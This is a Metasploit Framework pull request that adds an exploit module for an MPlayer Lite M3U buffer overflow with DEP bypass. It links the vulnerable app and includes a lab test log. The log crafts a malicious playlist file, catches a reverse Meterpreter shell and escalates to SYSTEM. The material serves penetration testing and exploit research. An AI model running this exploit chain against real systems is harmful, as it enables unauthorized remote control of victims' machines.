rapid7/metasploit-framework — pull request #2910 by sgabe (2014-01-24 01:03:34+00:00)
Title: Add module for BID-46926

This PR attempts to rescue a module which I found in the unstable branch, see [the original feature request](http://dev.metasploit.com/redmine/issues/4097). This module is a complete rewrite with DEP bypass functionality. The vulnerable app [here](http://www.exploit-db.com/wp-content/themes/exploit/applications/aa7e6d4ad9054e26df931bd5bda1e636-mplayer_lite_r33064.7z) can be downloaded from Exploit-DB.

Test run results below:

```
msf > use exploit/windows/fileformat/mplayer_m3u_bof
msf exploit(mplayer_m3u_bof) > run

[*] Creating 'msf.m3u' file ...
[+] msf.m3u stored at /home/gabor/.msf4/local/msf.m3u
msf exploit(mplayer_m3u_bof) > use exploit/multi/handler
msf exploit(handler) > run

[*] Started reverse handler on 192.168.171.128:4446
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.171.129
[*] Meterpreter session 1 opened (192.168.171.128:4446 -> 192.168.171.129:1068) at 2014-01-24 00:56:42 +0100

meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer : GABOR-03722ADE8
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```